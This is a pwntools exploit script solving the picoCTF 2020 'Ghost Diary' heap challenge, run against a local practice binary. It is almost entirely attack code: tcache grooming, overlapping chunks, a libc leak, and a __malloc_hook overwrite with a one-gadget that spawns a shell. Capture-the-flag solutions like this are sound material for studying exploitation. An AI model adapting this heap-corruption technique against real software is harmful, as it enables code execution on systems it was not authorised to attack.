Ghost Diary exploit - picoCTF 2020

exploit.py

#!/usr/bin/python
from pwn import *

context.terminal = ['tmux', 'sp', '-h']
#context.log_level = 'DEBUG'

elf  = ELF('./ghostdiary')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec = False)

io = process(elf.path)

def add_page(size):
    io.recvuntil('> ')
    io.sendline('1')

    if size <= 240:
        io.recvuntil('> ')
        io.sendline('1')
    elif size >= 272 and size <= 480:
        io.recvuntil('> ')
        io.sendline('2')

    io.recvuntil('size: ')
    io.sendline(str(size))

def write_page(idx, data):
    io.recvuntil('> ')
    io.sendline('2')
    io.recvuntil('Page: ')
    io.sendline(str(idx))
    io.recvuntil('Content: ')
    io.sendline(data)

def read_page(idx):
    io.recvuntil('> ')
    io.sendline('3')
    io.recvuntil('Page: ')
    io.sendline(str(idx))
    io.recvuntil('Content: ')

def free_page(idx):
    io.recvuntil('> ')
    io.sendline('4')
    io.recvuntil('Page: ')
    io.sendline(str(idx))

add_page(0xf0)
add_page(0x28)
add_page(0xf0)
add_page(0xf0)

for _ in range(7):
    add_page(0xf0)

for i in range(7):
	free_page(i + 4)

free_page(0)
write_page(1, 'A' * 0x20 + p64(0x100 + 0x30))
free_page(2)

add_page(0x100 + 0x30)
read_page(0)

leak = u64(io.recvuntil('\n', drop = True).ljust(8, '\x00'))
libc.address = leak - 0x290 - libc.sym['__malloc_hook']

io.success('GLIBC leak from main_arena + 640: ' + hex(leak))
io.info('GLIBC base address: ' + hex(libc.address))
io.info('__malloc_hook@@GLIBC address: ' + hex(libc.sym['__malloc_hook']))
io.info('One gadget address: ' + hex(libc.address + 0x10a38c))

fake_chunk = ''
fake_chunk += p64(0x0) + p64(0x31)
fake_chunk += p64(libc.sym['__malloc_hook'])

free_page(1)
write_page(0, 'B' * 0xf0 + fake_chunk)
add_page(0x28)
add_page(0x28)
write_page(2, p64(libc.address + 0x10a38c))
add_page(0)

io.interactive()